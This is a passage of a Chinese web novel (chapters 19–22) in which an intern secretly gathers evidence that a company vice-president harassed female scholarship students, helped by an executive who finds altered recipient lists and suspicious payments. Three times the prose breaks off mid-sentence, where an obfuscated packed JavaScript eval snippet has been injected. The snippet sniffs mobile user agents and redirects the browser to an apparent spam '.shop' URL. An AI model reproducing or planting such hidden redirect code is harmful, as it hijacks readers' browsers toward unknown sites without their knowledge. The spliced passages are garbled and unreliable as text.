靳樵开过商场,偶然一眼,从后视镜看到,应星坐在公交车站那里,正低着头看手机,好半天没动弹,不知是在看什么。他没多想,打方向盘绕到商场后面,绕了一圈回来,应星还是在那里坐着。 靳樵靠边降下车窗,按着车“嘀”了一声,问她:“回公司?” 应星站起来:“靳总,你怎么还在这?” 靳总,公司人人都这么叫。私下场合,应星这么叫他真是有点奇怪。 “刚出来,你回公司还是回家?” “我回公司拿东西。” 靳樵示意:“上来。” 应星迟疑,这不好吧?在公司不论私交,他们连上下级都算不上。 应星摆手拒绝,“没关系不用了,谢谢靳总,我叫个车很快就到了。” 坐个车有什么的,靳樵不跟她废话,“顺路,上来吧。” 应星环顾四周,这个地方没有任何同事,再拒绝就显得矫情了。 第二次坐靳樵的车,车内还是熟悉的气味。系上安全带,应星在脑子里飞快想话题,要和靳樵聊什么好,这一路时间可不短,说上次的银行卡的事惹他不开心,什么都不说,这一路离公司还远着,那也有点尴尬吧! 随着车流平稳行驶,两人突然一起开口。 “靳樵——” “应星——” 应星:“……你先说。” “你为什么会来光年实习?” 没想到靳樵问这个。 “就是对这个公司挺感兴趣的,想来体验一下工作氛围,还有暑假快到了,实习也有工资拿。” “是吗?” 靳樵并不太相信应星的话,以光年给的实习工资,通勤吃饭下来还剩几块。 “据我所知,光年智科并没有适合你现在专业的岗位。你是学历史的,光年是做无人机和新能源车的。” 应星一时没有答话,她是因为调查戴浩成才来的光年,这个事不能对任何人说。 面试的HR是看到应星在弼博的工作经历,知道她能干活才留下的她。 靳樵并不想给应星提什么职业建议,他的身份,说建议什么的显得像指手画脚。但靳樵突然想到爷爷,如果靳建华还活着,他会不会跟应星说些什么。 这样想着,靳樵还是说了,他并不是个喜欢弯弯绕绕的人。 “应星,其实你应该很清楚,要根据以后的职业方向选择实习单位,盲目实习并不是好事,尤其是,你还要继续读博。” 靳樵在光年看到应星的那天他就有这个想法了,光年不会是应星未来会考虑的工作单位,也不适合她。她现在更适合去科研院所。 19. 端倪 “这我知道,谢谢你的建议。” 应星坐在副驾,目光微微斜视便能看到靳樵的侧脸和方向盘上骨节分明的手。 “靳樵,市场部有那么多事,你为什么会来参与今天的线下活动?” 市场部是光年最重要的部门之一,之前是周祖宸亲自负责,这个岗位的忙碌并非普通员工可比。像这样的线下活动,如果不是新车发布会之类的,靳樵可以不用来的。 “我刚进来,对许多业务都不熟,对所有一线的工作都要重视,听多少回报看多少数据也比不过亲自到现场。” 应星点点头,确实是这样。 车内沉默了一会儿。 “靳樵,我还想请教你一个问题。” “你说。” “市场部三年前启动了一个面向高校的光年英才计划,你知道这个项目吗?” 靳樵点头,“嗯,知道,怎么了?” “光年英才的受助学生名单,周总会亲自审核吗?” 靳樵最近在集中回顾市场部这几年的项目,光年英才计划是其中很重要的一个,就在媒体和高校的影响力而言,执行得很不错。 靳樵有些奇怪:“怎么会问起这个?” “就是最近帮戴浩成戴总整理一些以前的资料,有些好奇,随口问问。” 靳樵一边开车一边转头看了应星一眼,她抱着包正襟危坐。据他所知,不管是以前还是现在,她可不像是看到什么随便问问的人。 “周总虽然亲自负责市场部,但他的风格一向是舍得放权。光年英才这个项目由品牌中心执行,资助学生有固定的申请流程,符合受助条件,再经过选拔,得到最终名单。周总大概率不会参与名单的确定,最多签个字。” 应星若有所思:“这样啊……” 戴浩成就是光年英才项目的负责人。周祖宸那里如果只是过目签字的话,选拔的过程其实就给戴浩成提供了太多操作空间……想想也是这样的,周祖宸是公司CEO,既专注研发又负责市场,他几乎不可能有时间去过问下面项目执行过程其中不起眼的一个名单,只要流程没问题,就能签字执行。 靳樵问:“怎么?” 应星有如实质看了靳樵一眼,不知在想什么。靳樵微微皱了一下眉,这个应星……搞什么? 车平稳驶入熠辉大厦地库,已经过了下班时间,诺大的车库很安静,下了车,能听到两人一前一后往的脚步声。 靳樵最近知道了光年给研究生的实习工资和琉璃酒吧给兼职歌手的演出费。演出费要高出好几倍,应星为什么不专注演出?她完全可以交一笔培训费,然后去更多酒吧、音乐餐吧接演出。 靳樵想到这件事,真是够费解的。 两人进了电梯,靳樵站在应星身后半步的地方,看到她柔顺的低马尾和半张侧脸,想问问她这个问题,转念又想这在国内是不是涉及隐私。近些年来国内的社会环境变化很剧烈,男同胞动不动就会说错话,社交平台上处处是对某些言论的讨伐。他犹豫了一下,没问出口。 面对应星,靳樵真的是想得很多。 电梯到八层,应星道谢:“靳樵,今天谢谢你。” 她走出电梯,回头看到电梯门关闭,门后的靳樵端正站在那里,目光平静地看着她。不知为什么,应星脑中轻轻地“砰”一声,出现一个画面——十几年前站在县中门口的那个靳樵,一道风景线。 靳樵这些年漂洋过海,工作,生活,她一无所知。此刻却突然觉得,靳樵分明就还是过去那个他,没怎么变。 怎么会有那么好的一个人呢?那么远的距离,来到小县城,给她补课一补就是好多天。不说理由,不计回报…… 此人为什么会有那么平静的目光?好像什么事在他那里不算是大事,都能波澜不惊地处理得井井有条。他会问应星一些问题,但对她的回答并不感到惊讶。靳樵好像从大学时就有这样一种沉稳从容的气质。 电梯门缓缓合上,隔绝了靳樵的目光,应星才缓过神来,把脑海里那个靳樵请出去。 ———— 她回到工位,戴浩成不在,她坐下喘了口气,把今天早上的录音导出来。 应星打开她建的加密文件夹,看了存在里面的东西。她来了半个月,能找到的有用线索比她预想的要有限。 应星随即登录光年的企业OA,想从里面找到更多关于戴浩成和英才计划的信息。 光年智科的数字办公平台做得很完善,里面存有这几年公司所有重要项目集,包括清单、状态、负责人、所属业务线。 登录之后,应星发现实习生权限很低,只有考勤打卡、看公司公告、会议室预定几项功能。 戴浩成做了什么事,普通同事或许都没有察觉。她这个实习生还在外围,什么核心信息都接触不到,能看出什么? 她出神之际,手机“叮”地响了一声。应星按亮手机,愣住了,是前几天她联系过的刘莉芳给她发的一条短信。 刘莉芳的话很短:“看看邮箱,我能告诉你的就只有这些了,不用回我电话。” 应星的心一下子提起来,甚至先扫视了一下四周。确定没有摄像头,没有戴浩成的眼线。 她打开许久不用的QQ邮箱,看到刘莉芳发的邮件。下载附件解开,先看到的是十几张聊天记录截图,刘莉芳谨慎地截掉了右边的头像,只留下戴浩成的。 点开来看,跟今早发生的对话很像,几句看似不经意的撩骚,似有若无的暧昧话语,一些过界的试探。 刘莉芳还给右边的一些聊天打了码,不想让应星看到她早期的回复。 应星那时因为太忙着做兼职挣钱,无意中淡出了戴浩成的视线,侥幸逃过一劫。她完全能理解刘莉芳此刻的小心和挣扎,面对戴浩成最初的示好,涉世未深、家庭贫困的女孩子或许真的会误认为,那是恋爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477947|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的机会…… 刘莉芳的邮件还写了几句话:D两次约我出去,都有过界的行为,第二次我才明白过来,事情发生得太突然,我那时候害怕得发抖,只顾着赶紧逃跑,没有留下证据……只有这些。你仔细看附件里的聊天记录日期,那个时间段,D还有女朋友……就是这些了,不用给我打电话。 她又一次强调不要给她回电话。应星的询问会再次引发她对过去的一些难堪的记忆吧…… 应星把图片一一保存下来。她突然不想在公司呆了,她只要扭头一看到戴浩成的单间办公室就忍不住难受。 应星在回去的地铁上想到一个女生,聊天记录发生的时间段,戴浩成的女朋友,一个比应星小两届的女生。那个女生后来因重度抑郁从学校休学,后来怎么样,就不知道了。 应星记得她听说这件事时已经在弼博上班了。这件事,许多青苗资助的学子都听闻过,女生在宿舍割腕,天亮时才被室友发现的事私下传得很广。应星没见过那个女生,只是在贴吧见过一张血迹被打了码的照片。不过她知道的是,戴浩成那时已经和她分手,却好心带她去了几次医院,陪她治疗,后来才分的手。 这些事情之间有没有关联?戴浩成做了什么?做到了什么程度? 半夜躺在宿舍床上,应星想这些事想得完全没了睡意。戴浩成那个时候已经工作,已经为青苗基金拉了好几笔他所在单位的捐款,做了好几件被媒体报道的事情。 戴浩成骚扰过的女生,光是她知道的就不是少数了。只是这种事情几乎不会有人愿意站出来说。在某种环境下,受害者说出来,反而会受到新的伤害,得不偿失…… 第二天,应星去上班,化了比平常浓的妆才勉强遮住脸上的疲惫。戴浩成给她安排工作,她尽量不离开其他同事的视线,避免和戴浩成单独相处。 快下班时,应星突然下了个决心。她想到个办法,要找到更多愿意提供证据的可能受害人,目前能想到的只有一个途径,再没有别的了。 她拿出手机给靳樵发了一条信息:“靳樵,你今天什么时候下班呢?我可以蹭一段你的车吗?在7号线任意地铁口放我下就好,谢谢你了。” 应星知道靳樵住的地方在7号线后半段,从吃饭那天他开车来的方向和汉源市的市区规划就能推测个大概。 靳樵正在开会,听研发部的同事讨论一项技术。 看到短信,他缓缓打了一个问号,接着觉得不太礼貌,删掉了。过了十分钟才回复道:“可以,还在开会,走时给你消息。” 靳樵不想管应星需不需要等他加班,他发现自己现在是完全不了解应星了。以前说句话都费老劲,现在主动发短信来蹭他车了?他不知道应星已经管不了那么多了。 直到快七点时,靳樵才处理好手头的事,想起给应星发短信:“十分钟后。” 应星回复:“谢谢,我在公交车站前面一点等你。” 20. 小院 公交车站往前一点,不会被什么同事看到。现在已经过了下班时间,而光年的员工大多数都乘地铁。 马路的灯开始亮起时,应星站在离公交站牌不远的地方等着。她看到靳樵的车在车流中驶过来。 SUV缓缓靠边,转向灯在朦胧的夜色中打起,闪出柔和的光。 应星心里有个声音在说话一样,怎么会有靳樵这么礼貌的人? 在不知道她要干什么的情况下,那条短信根本可以视作明晃晃的打扰。毕竟在公司里,她和靳樵连熟人都谈不上。但靳樵还是回复,并且真的让她蹭车。怎么会有这么礼貌的人…… 车停在应星前面,应星上车,系安全带。“谢谢。” 靳樵:“嗯,住哪里?” “师范大学。” 靳樵驱车重新汇入车流。车内响起导航的女声,两人大约有几分钟没有说话。应星在打腹稿,而靳樵在想,让一个有男友有婚约的女性随意蹭车,司机是不是有什么不妥,在国内……他不知道,他真的出国太久了。 应星转头看向靳樵,“靳樵,谢谢你愿意让我蹭车,其实我不是需要蹭车……” “我是有一件重要的事想请求你的帮忙。这件事,在公司,在公共场合都不方便说。” 靳樵:“你说。”刚才收到短信,他就隐隐有预感事情没那么简单。 应星:“你知道公司的光年英才项目吧?” “大概知道,那天你问过了。” “是。” 靳樵最近在回顾光年近几年的项目,之前说过。 “这个项目自三年前开始,总共在包括居仁在内的八所顶尖高校开展,其中有一笔助学款,每年资助三十名学子。靳樵,你可不可以帮忙找出三期受助学子的初始名单、更改名单和最终名单。” 靳樵有些疑惑:“应星,你找这个做什么?这件事是公事还是私事?” 靳樵真的很敏锐,很快识别到应星问的不是工作。 “私事,所以我来请求你的帮助……在光年我认识的人中,你是除了戴浩成戴总之外最能找到所有名单的人。” 怎么不是找戴浩成?靳樵脑子里先跳出这个问题。 应星坐正了,语气不自觉变得严肃:“也不算是私事吧,但是这件事很重要,我必须找到名单。这件事要绕过戴浩成戴总……” “光年英才受助名单,要看到所有版本,应星,你要做什么呢?” 应星看一眼靳樵的侧脸,脑子里浮现出年少时候的靳樵。一个人正直的底色会改变吗?不会的吧。从失眠的那一晚到今天下午发出短信,应星已经决定。以靳樵的职位,可以在他这里寻求一些线索。如果靳樵一定要知道为什么,她就跟他说。 靳樵又说:“据我所知,光年英才这个项目一般是在每年年初进行。最近两个月,品牌管理中心和戴总都没有在忙这件事。戴总是光年英才的负责人……你要看的名单,他那里就会有,并且会比公司系统里的更全。你这件私事要绕过他?” 应星点头:“是,这件事跟他有关,所以要绕过他秘密进行。我发现了一些证据,需要找到更多证据……” 靳樵入职不久,完全不熟悉戴浩成这个人,只知道他是负责品牌管理和数字营销的副总,是市场部三位副总中最受倚重的一个。 车开过高架,来到一段宽阔的路段。靳樵将车停靠在路边,转头过来看着应星:“你这件事,跟公司有关,还是只跟戴浩成个人有关?” 应星回答:“跟光年和我都有关系。” 应星还觉得,其实论起来,跟靳樵也有些关系。戴浩成自两年前起受聘兼任青苗基金会监事,而靳建华教授许多年前曾经向青苗捐过一笔钱。但应星没说,这件事有点远了。 靳樵看着应星:“这件事如果告诉别人,会影响你吗?”他说的别人就是自己。 不待应星回答。靳樵说:“我可以帮你找出名单,但我想知道为什么,以及发生了什么。” 应星静静做了几下深呼吸,说了出来:“我怀疑戴浩成利用慈善助学项目,长期猥亵、性骚扰多名女学生。” 靳樵心里一惊。 他看应星,突然觉得她现在的神情有一丝熟悉。是做好了某个决定的一脸倔强,带着些微紧张和愤愤不平,这神情他还记得。 靳樵脑子里紧接而来的一个想法是,为什么是应星在查这件事?应星跟戴浩成的关系现在他一无所知。 “靳樵,你还记得有个慈善组织叫青苗慈善基金会吗?专门资助西部山区的贫困学子上大学。戴浩成是青苗基金会最早资助的一批学生,两年前被聘为监事。青苗基金,还有公司的光年英才计划,就是这两个地方,给戴浩成提供了做那些事的便利……” 靳樵想到有些事,语气着急起来,“应星,你怎么认识的戴浩成?他骚扰过你?” “基金会的学子们许多都相互认识,他以前曾是志愿者,后来我也去做志愿者。他以前……”应星有一丝恶心的感觉,还是说了出来,“也有过骚扰我的行为。” “什么?” “那时候我刚上大学,因为忙着做兼职,淡出了他的视线……他没有伤害到我。” 应星刚上大学,也就是靳樵刚去美国念硕士的那几年。 应星把笔记本电脑从包里拿出来,把包放在脚边,把电脑放在膝盖上打开,调到整理好的那个文件夹。 她抬起笔记本,“这是一些细微的证据,你想看吗?” 靳樵将笔电接过去,点开应星整理好的东西,有音频,有一些屏幕截图,有一个做记录的word文档,还有刘莉芳发的聊天记录。靳樵先点开聊天截图,戴浩成的头像居然没变,那对话框里许多话,在靳樵看来,已经构成骚扰了。 “这些只是蛛丝马迹,戴浩成的不轨行为可能许多在线下,没有留下痕迹,我现在只搜集到这些,和几个人证……” 靳樵感到心惊,将鼠标移到录音文件,“这是什么?” “这是那天去姿斓的路上,在戴浩成的车里,发生的对话。” 应星不太想靳樵现在点开,因为她现在无法确定自己接触戴浩成是不是好处大于坏处。 靳樵双击了两下,应星的手微微动了动,犹豫了,但没出声。 “我很喜欢你的,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477948|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说喜欢你的表现……” “怎么不穿昨天在酒吧的那套JK裙……腿很好看……” …… 戴浩成的声音通过电流有些杂音,但一听就是本人无疑。 作为男人,靳樵一听就明白了在女生面前说这些话意味着什么。 靳樵忍着不适听完了。 应星文件夹里的东西确实有限,但足够怀疑一个人了。 “那天他喊你单独坐他的车一起去商场?” 应星点头。 靳樵看着她,神情严肃:“这样他叫你单独相处,还有过几次?……应星,这有危险性。” “没有别的次了。是有危险,我知道……”应星看着他,“靳樵,所以我想拿到光年英才各个阶段的资助名单,找出是不是有更多受害女生,找出更多证据来……这件事,你的职位会有便利能查到更多东西吧,所以,我只有来打扰你了。” 车不能在路边停太久。靳樵觉得他现在需要尽快把这件事弄清楚。他启动车子,下意识往平江路的家里开去,才又想起应星是独身女性,不方便去谁的住宅。 “应星,等一下你还有别的事吗?” 应星:“嗯?没有,今晚下班了就休息了。” “找个可以说话的地方吧,我需要把这件事情弄清楚。” 靳樵最近在公司需要认识的人太多,戴浩成的人在他脑子里还是模糊的,可这件事情太重要,必须立刻弄清楚。 “好。” 应星把电脑装回包里。 靳樵把车开进平江路的一家咖啡店。跟老板打了个电话,有个员工开很快来开了门,靳樵带着应星进了后院。工作日的后院很安静,没有别的客人。 “应星,这里说话可以放心,坐吧。” “好。” 两人找了个位置坐下。 靳樵说:“你既然向我说了这件事,那么我如果要帮你找出调整过的名单。我得知道所有来龙去脉,你是怎么发现戴浩成不对的?” 靳樵这么说,就是答应了会帮她。应星有些庆幸,靳樵刚从国外回来,还不是光年的老员工,没有涉及光年英才这个项目。 “很久以前,戴浩成就给我发过类似的消息,很不对劲,是过界的试探,我那时候年纪小,还不懂,又每天忙着兼职,只是觉得奇怪,没有深究也不知怎么回复。那个手机坏了之后我也就丢了,记录没有保存下来……这两年,我返回学校读书,重新参与青苗基金会的志愿者活动。从去年开始,我发现有戴浩成参加的活动,有两个学妹总是请假……还有,他在活动上与女孩子们的互动,过于刻意,让人不舒服,后面这一项只是我的感觉。我也多次用理智提醒自己不要下没证据的结论。我找几个女孩子都聊过,大家都不想受到打扰,但能确认戴浩成有大问题……目前只搜集到了这些。” 靳樵十年前就认识应星这个人,这大概是应星在他面前说得最长的一段话。她眼神沉静,说得不急不缓,也并不隐瞒。 靳樵听完,又默然打开应星电脑里的文件夹。就算没留下痕迹的那些除外,凭这个文件夹里的东西也足够怀疑戴浩成人品。 21. 发现 “有女孩主动跟你说过戴浩成有问题吗?” 应星摇头,垂眸看向桌面,“没有,我自己发现的。我主动去问,有几个女孩选择闭口不言,我能理解……” 应星猜,靳樵大概不能理解为什么会有女生受到骚扰而选择息事宁人,不过靳樵不问,她就不用再多说,对他也是一种打扰。这件事,靳樵愿意利用职权私下帮她找出更多的可能受害者名单已经很好了。 “应星,我可以答应你帮你找名单。但是,我还有一些问题要问,也有两个条件需要你答应。” 条件? 天已经黑了,桌上有一盏小夜灯,应星抬头,只看到靳樵黑漆漆的眼神,不知道他在想什么。 “你说。” 靳樵又想到个重要的问题:“戴浩成有察觉到你在调查他吗?” “我没有表现出异常,应该没有。” “你进入光年智科,到戴浩成手底下实习,就是为了查这件事吧。” “是。” 怪不得,在靳樵看来应星不是稚嫩的大学生了,以她的阅历不会看不出来光年这个公司并不适合她。 “靳樵,这件事,我想请求帮我严格保密,在拿到更多证据之前,不要让任何人知道。尤其,不能让他,戴浩成察觉……” “这是自然。” “还有……” 有人推开门,穿一身瑜伽服的老板站在屋檐下问:“两位要吃些简餐吗?” 应星立马住了口。 她是靳樵的朋友。老板不待两人回答,转身端出两份牛排放到桌上,又体贴地又关上了门。 靳樵一下看出她异常的警觉,不自觉柔和道:“没事,这个老板不会透露客人隐私。” 老板是平江路的老住户,十几年前就在这里开店,和靳樵爷孙俩都认识很多年了。 “靳樵,其实就是,保密,在公司在外面都保密,这件事……我还不确定能找到什么,也不确定戴浩成到底做了什么,他以前交往过一个抑郁症退学的女朋友,我怀疑这件事跟他的不轨行为有关系。” 靳樵点头,“放心。” 他突然想到应星在酒吧里唱歌的样子,如果戴浩成是别有心机,应星在酒吧的兼职,实在很容易吸引到戴浩成的注意。 “应星,除了录音那一段,戴浩成还单独跟你说了什么?真的没有了?” 还有微信小号上发的令人不适的视频,对准了她的腿,不过那能应付,应星因为难受,没有把那个视频放入加密文件夹。 “没有了,有我也能应付。” “应星,戴浩成是青苗基金会的监事,你有没有考虑过向主要负责人举报他?” “想过,但是我还没有拿到足够的证据。” “好,我知道了,我会帮你把修变动过的名单找出来,并且保密。” “谢谢……” 应星就知道靳樵大概率会答应的。 靳樵话音一转,“但我有两个条件,你要先答应我。” “条件,你说……” 靳樵说:“这件事的推进,你以后要做什么,都必须先让我知晓。” 应星抬头:“啊?” “我有基本的知情权,不是吗?” 应星想了想,“可以吧。” “可以吧?” 应星:“我是说,应该可以。” “还有一个,如果你觉察到这个人有危险,不要一个人靠近他。” “我会尽量避免危险事件的发生,你放心。” 院子里灯光微弱,这半天对话,靳樵真有一种还在对当年的应星说话的感觉。她这一句话,让他恍然想起,是,应星跟他差不多同龄,是年近而立的成熟女性了。 靳樵:“好。” 话说完了。应星先站起来,“那我就先……” 咖啡馆老板再次推门走进后院,“我都忘记告诉你们灯的开关在这里了,靳先生,你们怎么不开灯?” 老板按亮了庭院的灯,应星看到她手里端着给他们的饮品。老板看到丝毫未动的牛排有些意外:“咦?这牛排你们不喜欢?” “不是不是……”还没来得及吃。 应星说:“老板,我可以打包回去吃吗?” 说真的,除了有正事要谈之外,她跟靳樵面对面呆着真的非常有压力。他们认识,却完全不算熟人,不知道聊什么。 应星道完谢忙着走,靳樵看她转身带上门回学校,并没有一起出去,也没有提出送她回学校。应星有家室,他应该主动保持距离。 靳樵坐下来把一块牛排吃完,喝掉老板特调的饮品。 明天是周末,约好的登山小群里队长发来山里降温的提醒,让大家多加一件单衣。 靳樵@了领队,先跟她和队友们道歉,再说明天公司有重要的事走不开,不能跟大家一起去了。 过了一会儿,靳樵的微信电话响起来。领队询问了靳樵的情况,靳樵听得出来她希望队伍里多一个男生,很遗憾靳樵不能去,很委婉地问了一句能不能协调。 靳樵认真跟她道歉:“真的抱歉,这件事很重要,明天必须去公司,下次有机会我当面向大家致歉,请大家喝咖啡。” 戴浩成有问题。不论是不是出于帮助应星,靳樵都需要立刻去查他在光年英才这个项目上违规到什么程度。 周六一早,靳樵来到公司,登录内部用的云盘。光年这几年正处在野蛮生长的时期,内部用的项目管理系统是刚成立不久时建的,不太跟得上近两年的业务线。但出于审计和风险管理的要求,对重要项目电子台账和相关资料的保存是有的。 靳樵找到光年英才的项目,一件件地看项目执行过程文件。活动档案、沟通记录、评估与报告都没有遗漏。数据库列表里确实有一项受助人名单,靳樵点开,里面有三期受助学生的基本信息,但每期只有一个名单,并没有更换了受助人的中间名单存在。 由戴浩成执笔的前二期项目结案报告写得很标准,经周祖宸审阅批准后才用于内部汇报。 项目的财物流部分比较简略,粗看并不能看出什么问题。 如果要看具体的费用流程和对外付款记录,靳樵没有财务部的权限,那么还需要打报告,向财务部公开申请。这涉及到他对周祖宸的信任。 周祖宸既然亲自管市场部,这么重要的项目许多过程性文件他不会不亲自过目。靳樵知道周祖宸是个精益求精的工作狂,但那是在研发上。 他突然想起来正式入职那天,行政的同事从这间办公室中抬出去一台旧电脑到仓库,是周祖宸以前用的,周祖宸说已经交代秘书将重要文件都转移到靳樵的新电脑上了。 有些戴浩成的汇报文件,或许在里面。 靳樵立刻给行政部的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477949|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同事打电话,要到仓库的钥匙和电脑的位置。他请来一个还在加班的同事和他一起将电脑装了回来。 旧电脑运行有些不灵敏了,靳樵很准确地在文件夹里找到几个光年英才的文件,他翻了许久,居然真的在三级文件夹里找到前两期的受助名单汇总。 应星真的猜对了,前两期名单都经过变动,并且从名字看是女生。其中有两个名字后面还跟着备注:因个人原因退出项目。 显然这些异常名单并没有引起周祖宸的重视,公司重要事务太多而这件事太小了。 进入光年的人才培养计划和受助名单,怎么来看都是一件极好的事。一个高校女生会因什么个人原因退出项目? 戴浩成和这名单的变动都有问题,涉及到公司社会事务款项支出,这件事或许比应星想的还要严重。 靳樵把所有相关文件拷贝了下来。 ———— 靳樵的两天周末就这样在公司度过。 登山群里发了照片,风景绝佳,队友们也玩得开心,靳樵甚至没有时间点开细看那些漂亮的照片,一心都扑在查证戴浩成的事上。不只是因为应星,靳樵难受的是,周祖宸此前一直亲自管市场部,为什么会让这么一个人进入公司,还提到副总这个重要的位置。又为什么是应星先发现了这件事,公司内部,其他人难道完全没有察觉吗?还是心照不宣视而不见,如果是这样,他真的要重新思考自己加入光年的正确性。 周一上班,应星从看到戴浩成进公司打卡那一刻就开始绷紧。这件事最开始她只跟两个绝对信任的人说过,就是蒋文杰和林墨。而现在,知情者又多了一个靳樵。而靳樵现在恰巧是光年的管理层。如果靳樵那里有变,事态会怎么发展,应星不知道。 好在戴浩成极擅伪装,整个市场部的同事都在八层办公,当着同事,他不论说话做事都表现得再正常不过。 早晨的工作不多,应星看赵小童已经整理了好几天发票,主动移动椅子过去问她需不需要帮忙。 “星星姐,谢谢你,我还是独立完成吧,虽然很繁琐,但是你不知道戴总的出差行程,帮我整理太麻烦了。” “好,需要帮助你就叫我。”应星退回座位。 这时,她听到门口的同事齐声问靳总好。应星扭头看去,靳樵端着杯咖啡从电梯口走进来。他的办公室在十层,只有有事时才会来这里。 靳樵不紧不慢地向大家打招呼:“大家不用客气,我买咖啡路过,顺带找戴哥聊点事。” 找戴浩成?应星心里一惊。 戴浩成听到声音,打开办公室玻璃门走出来,“靳总,您找我什么事?” “我在回看市场部这半年的项目,有些地方不是很清楚,主要是我没参与的原因,想找你问一问。”靳樵问,“今天上午有时间吗?想请你去十层会议室,我有些问题请教戴哥。” 戴浩成:“靳总,现在不忙,刚好可以。” “好的,那我在会议室等你,麻烦了。” 靳樵说完话便端着咖啡回去了。他走到戴浩成办公室附近时看到应星,和她对视了一眼,看到了她眼睛里的警觉。其实靳樵就是想来看看,戴浩成在公司有没有机会单独对实习生做些什么。也真的有几个项目的问题要向他问清楚,不是英才计划那个。 靳樵在电梯那里给应星发短信:“下班后,还是那家咖啡馆说。” 22. 回访 应星回:“好的。” 过了一会儿,靳樵回到十层办公室,又发消息:“你坐我车?”打完三个字发现不太妥,删掉了。应星主动问,载她没问题,但出于对应星伴侣的尊重,应该保持点距离吧。 靳樵用手捋一把脑门处几缕凌乱的头发,他真是想太多了。就是十年过去了,他对待应星还是像对待当初的李耿,得小心翼翼。 应星接着又发来一条短信:“靳樵,请问我几点在那里等你?” 靳樵:“六点吧。” 平江路的那家咖啡馆在十年前是个茶室,现在改成了日咖夜酒。 应星提前十分钟到,老板先带她去会谈室。 从会谈室的窗户可以看到上周他们谈话的后院现在有客人。可能是靳樵提前交代过了,老板给他们留了个私密的地方。 靳樵很快来了,带来一台笔记本电脑。他把U盘插上,打开一个文件夹。 “应星,你猜得没错,三期英年计划的高校受助名单都经过调整,虽然是微调,但都是女生。如果按照流程来筛选,一般不会出现微调,这中间一定有什么问题。” 靳樵:“你来看。” 应星刚要起身到他那边,靳樵把电脑给她转过去了。 应星问:“这是保存在公司云盘上的吗?是不是所有正式员工都能查阅?” “不是,公司云盘没有这个,这些是我在学长用过的办公电脑里找到的过程性文档。” 他说的学长是周祖宸,应星立刻想,那周祖宸知不知道这些事?知道了会怎么样? 光年英才项目和居仁大学等几个高校能源动力等专业的实验室有合作,资助也是车辆工程、能源动力等相关专业的学子。资助名额的申情、筛选至确定都有固定流程,但学子们最后申请资料汇总到戴浩成那里,作为项目总负责人,要谁不要谁只是他一念之间的事,高校对接的老师并不懂,也干涉不了企业的评选规则。 学子们递来的申请资料很详细,包含家庭状况、学业情况、所有证件复印件,还有照片,一个学生所有的信息摆在这里,如果有人起了歹意,这些学生在他面前如同透明。 光年英才每年资助学子一笔钱直至毕业,如果毕业时能通过招聘进入光年,还有一笔额外的奖励。 应星看到文档,看到有两个女生的名字后面写着备注:因个人原因退出项目。 靳樵:“这个叫郑筱的女生看起来比较特殊,接受了两年的资助,在大三那年突然退出。” 应星:“靳樵,这就是我想找的线索,我会先去联系这几个有特殊情况的女生,如果戴浩成私下做了什么事,总有人会愿意说。” 靳樵觉得她的方式太低效了。 “应星,你有没有想过一种情况?” “什么?” “存在有女孩比较天真,被戴浩成私下接触,会以为是可以发展为恋爱关系而和他来往,你这样去问,怎么判断女孩是不是受害者?” 两人对视,这种可能完全是有的。但应星没有任何可利用的职权,她只能采取这种最直接的方式明察暗访来找到证据,确实是低效的。 “告诉你一件事,戴浩成做过假账。这周末我看过几张电子台账,发现他通过特批流程,向至少五名女生发放过‘奖学金’,都是对私转账,金额从2000到8000不等,事由写的是‘支持个人发展’。” 应星心惊:“他竟然会留下这么重要的痕迹?” “只要做过的事,一定会留下痕迹。公司的财物系统不是摆设。” “靳樵,你怎么找到那几张台账的?” “我自有我的办法。” 靳樵私下找了人。只是这件事目前不适宜公开,更不能打草惊蛇。 “但我也有权限。很多东西如果要查下去,就要发公开的申请。” 应星懂,如果向财务部公开发申请要求查项目的账务,那就是公开质疑,周祖宸和戴浩成都会第一时间知道。 她掏出手机,问靳樵:“我可以拍个照吗?” 靳樵没说话,应星便没有动。 “应星,你先不用拍这些。这些名单暂时不涉及公司利益,只要不外传,可以随时看。” 应星还是想拍下来,她准备今晚就开始做些别的事了。 靳樵:“我现在有个更有效的办法找到人证。” 应星感到意外:“什么办法?” “联系和光年有合作的律师事务所,聘请律师以进行合规访谈为由,前往高校集中的两个城市,联系这些女学生,对英才计划的项目进行匿名评估访谈。不刻意提及戴浩成的名字,只聚焦参与体验,律师会有办法问出些异常的东西。” 应星:“只是,这需要向公司申请吗?” “不需要,这是我职权范围内的,本来准备在年底做的事情,现在我准备把这件事提前。这周我就请律师联系学生,女律师最好。应星……”靳樵看着她,“这件事最好需要一个记录员,这周末和律师一起做回访。你……” 应星抢答:“我愿意协助!只是我不是公司的正式员工,也可以吗?” 